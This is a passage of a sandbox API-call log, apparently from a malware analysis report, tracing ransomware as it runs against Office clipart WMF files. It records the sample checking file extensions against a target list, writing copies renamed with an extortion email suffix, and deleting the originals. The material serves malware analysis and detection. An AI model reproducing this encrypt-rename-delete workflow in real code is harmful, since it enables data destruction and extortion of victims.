(lpString=".ppt") returned 4 [0179.384] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02369_.WMF") returned 68 [0179.384] lstrlenW (lpString=".zip") returned 4 [0179.384] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.384] lstrlenW (lpString=".rar") returned 4 [0179.384] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.384] lstrlenW (lpString=".bz2") returned 4 [0179.384] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.385] lstrlenW (lpString=".7z") returned 3 [0179.385] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02369_.WMF") returned 68 [0179.385] lstrlenW (lpString=".dbf") returned 4 [0179.385] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02369_.WMF") returned 68 [0179.385] lstrlenW (lpString=".1cd") returned 4 [0179.385] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02369_.WMF") returned 68 [0179.385] lstrlenW (lpString=".jpg") returned 4 [0179.385] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.385] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.385] lstrlenW (lpString="PE03236_.WMF") returned 12 [0179.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03236_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.389] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=1556) returned 1 [0179.389] CloseHandle (hObject=0x370) returned 1 [0179.389] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03236_.wmf")) returned 0x220 [0179.393] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03236_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03236_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.396] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.396] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03236_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03236_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.400] GetLastError () returned 0x0 [0179.400] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x614, lpOverlapped=0x0) returned 1 [0179.402] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x620, lpOverlapped=0x0) returned 1 [0179.402] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.403] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.403] SetEndOfFile (hFile=0x39c) returned 1 [0179.406] CloseHandle (hObject=0x39c) returned 1 [0179.406] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.406] SetEndOfFile (hFile=0x2fc) returned 1 [0179.408] CloseHandle (hObject=0x2fc) returned 1 [0179.408] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03236_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.408] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03236_.wmf")) returned 1 [0179.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03236_.WMF") returned 68 [0179.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03236_.WMF") returned 68 [0179.409] lstrlenW (lpString=".doc") returned 4 [0179.409] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.409] lstrlenW (lpString=".docx") returned 5 [0179.409] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.409] lstrlenW (lpString=".pdf") returned 4 [0179.409] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.409] lstrlenW (lpString=".xls") returned 4 [0179.409] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.409] lstrlenW (lpString=".xlsx") returned 5 [0179.409] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.409] lstrlenW (lpString=".ppt") returned 4 [0179.409] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03236_.WMF") returned 68 [0179.409] lstrlenW (lpString=".zip") returned 4 [0179.409] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.409] lstrlenW (lpString=".rar") returned 4 [0179.409] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.409] lstrlenW (lpString=".bz2") returned 4 [0179.409] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.409] lstrlenW (lpString=".7z") returned 3 [0179.409] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.409] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03236_.WMF") returned 68 [0179.409] lstrlenW (lpString=".dbf") returned 4 [0179.409] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03236_.WMF") returned 68 [0179.410] lstrlenW (lpString=".1cd") returned 4 [0179.410] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03236_.WMF") returned 68 [0179.410] lstrlenW (lpString=".jpg") returned 4 [0179.410] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03236_.WMF") returned 68 [0179.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03236_.WMF") returned 68 [0179.410] lstrlenW (lpString=".doc") returned 4 [0179.410] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.410] lstrlenW (lpString=".docx") returned 5 [0179.410] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.410] lstrlenW (lpString=".pdf") returned 4 [0179.410] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.410] lstrlenW (lpString=".xls") returned 4 [0179.410] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.410] lstrlenW (lpString=".xlsx") returned 5 [0179.410] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.410] lstrlenW (lpString=".ppt") returned 4 [0179.410] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03236_.WMF") returned 68 [0179.410] lstrlenW (lpString=".zip") returned 4 [0179.410] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.410] lstrlenW (lpString=".rar") returned 4 [0179.410] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.410] lstrlenW (lpString=".bz2") returned 4 [0179.410] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.410] lstrlenW (lpString=".7z") returned 3 [0179.410] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03236_.WMF") returned 68 [0179.410] lstrlenW (lpString=".dbf") returned 4 [0179.410] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03236_.WMF") returned 68 [0179.410] lstrlenW (lpString=".1cd") returned 4 [0179.410] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03236_.WMF") returned 68 [0179.410] lstrlenW (lpString=".jpg") returned 4 [0179.410] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.410] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.410] lstrlenW (lpString="PE03339_.WMF") returned 12 [0179.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03339_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.413] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=10284) returned 1 [0179.413] CloseHandle (hObject=0x368) returned 1 [0179.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03339_.wmf")) returned 0x220 [0179.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03339_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03339_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03339_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.420] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.420] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03339_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03339_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.424] GetLastError () returned 0x0 [0179.424] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x282c, lpOverlapped=0x0) returned 1 [0179.426] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2830, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2830, lpOverlapped=0x0) returned 1 [0179.427] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.427] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.427] SetEndOfFile (hFile=0x39c) returned 1 [0179.431] CloseHandle (hObject=0x39c) returned 1 [0179.431] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.431] SetEndOfFile (hFile=0x370) returned 1 [0179.432] CloseHandle (hObject=0x370) returned 1 [0179.433] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03339_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.433] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03339_.wmf")) returned 1 [0179.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03339_.WMF") returned 68 [0179.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03339_.WMF") returned 68 [0179.434] lstrlenW (lpString=".doc") returned 4 [0179.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.434] lstrlenW (lpString=".docx") returned 5 [0179.434] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.434] lstrlenW (lpString=".pdf") returned 4 [0179.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.434] lstrlenW (lpString=".xls") returned 4 [0179.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.434] lstrlenW (lpString=".xlsx") returned 5 [0179.434] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.434] lstrlenW (lpString=".ppt") returned 4 [0179.434] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03339_.WMF") returned 68 [0179.434] lstrlenW (lpString=".zip") returned 4 [0179.434] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.434] lstrlenW (lpString=".rar") returned 4 [0179.434] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.434] lstrlenW (lpString=".bz2") returned 4 [0179.434] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.434] lstrlenW (lpString=".7z") returned 3 [0179.434] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03339_.WMF") returned 68 [0179.434] lstrlenW (lpString=".dbf") returned 4 [0179.434] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03339_.WMF") returned 68 [0179.435] lstrlenW (lpString=".1cd") returned 4 [0179.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03339_.WMF") returned 68 [0179.435] lstrlenW (lpString=".jpg") returned 4 [0179.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03339_.WMF") returned 68 [0179.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03339_.WMF") returned 68 [0179.435] lstrlenW (lpString=".doc") returned 4 [0179.435] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.435] lstrlenW (lpString=".docx") returned 5 [0179.435] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.435] lstrlenW (lpString=".pdf") returned 4 [0179.435] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.435] lstrlenW (lpString=".xls") returned 4 [0179.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.435] lstrlenW (lpString=".xlsx") returned 5 [0179.435] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.435] lstrlenW (lpString=".ppt") returned 4 [0179.435] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03339_.WMF") returned 68 [0179.435] lstrlenW (lpString=".zip") returned 4 [0179.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.435] lstrlenW (lpString=".rar") returned 4 [0179.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.435] lstrlenW (lpString=".bz2") returned 4 [0179.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.435] lstrlenW (lpString=".7z") returned 3 [0179.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03339_.WMF") returned 68 [0179.435] lstrlenW (lpString=".dbf") returned 4 [0179.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03339_.WMF") returned 68 [0179.435] lstrlenW (lpString=".1cd") returned 4 [0179.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03339_.WMF") returned 68 [0179.435] lstrlenW (lpString=".jpg") returned 4 [0179.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.435] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.435] lstrlenW (lpString="PE03464_.WMF") returned 12 [0179.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03464_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0179.436] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=5732) returned 1 [0179.436] CloseHandle (hObject=0x368) returned 1 [0179.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03464_.wmf")) returned 0x220 [0179.442] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03464_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03464_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03464_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.442] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.442] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03464_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03464_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.445] GetLastError () returned 0x0 [0179.445] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1664, lpOverlapped=0x0) returned 1 [0179.447] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1670, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1670, lpOverlapped=0x0) returned 1 [0179.447] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0179.447] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0179.447] SetEndOfFile (hFile=0x39c) returned 1 [0179.451] CloseHandle (hObject=0x39c) returned 1 [0179.453] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0179.453] SetEndOfFile (hFile=0x2fc) returned 1 [0179.455] CloseHandle (hObject=0x2fc) returned 1 [0179.456] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03464_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.456] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe03464_.wmf")) returned 1 [0179.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03464_.WMF") returned 68 [0179.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03464_.WMF") returned 68 [0179.456] lstrlenW (lpString=".doc") returned 4 [0179.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.457] lstrlenW (lpString=".docx") returned 5 [0179.457] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.457] lstrlenW (lpString=".pdf") returned 4 [0179.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.457] lstrlenW (lpString=".xls") returned 4 [0179.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.457] lstrlenW (lpString=".xlsx") returned 5 [0179.457] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.457] lstrlenW (lpString=".ppt") returned 4 [0179.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03464_.WMF") returned 68 [0179.457] lstrlenW (lpString=".zip") returned 4 [0179.457] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.457] lstrlenW (lpString=".rar") returned 4 [0179.457] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.457] lstrlenW (lpString=".bz2") returned 4 [0179.457] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.457] lstrlenW (lpString=".7z") returned 3 [0179.457] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03464_.WMF") returned 68 [0179.457] lstrlenW (lpString=".dbf") returned 4 [0179.457] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03464_.WMF") returned 68 [0179.457] lstrlenW (lpString=".1cd") returned 4 [0179.457] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03464_.WMF") returned 68 [0179.457] lstrlenW (lpString=".jpg") returned 4 [0179.457] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03464_.WMF") returned 68 [0179.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03464_.WMF") returned 68 [0179.457] lstrlenW (lpString=".doc") returned 4 [0179.457] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.457] lstrlenW (lpString=".docx") returned 5 [0179.457] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.457] lstrlenW (lpString=".pdf") returned 4 [0179.457] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.457] lstrlenW (lpString=".xls") returned 4 [0179.457] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.457] lstrlenW (lpString=".xlsx") returned 5 [0179.457] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.457] lstrlenW (lpString=".ppt") returned 4 [0179.457] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE03464_.WMF") returned 68 [0179.458] lstrlenW (lpString=".zip") returned 4 [0179.458] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.458] lstrlenW (lpString=".rar") returned 4 [0179.458] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 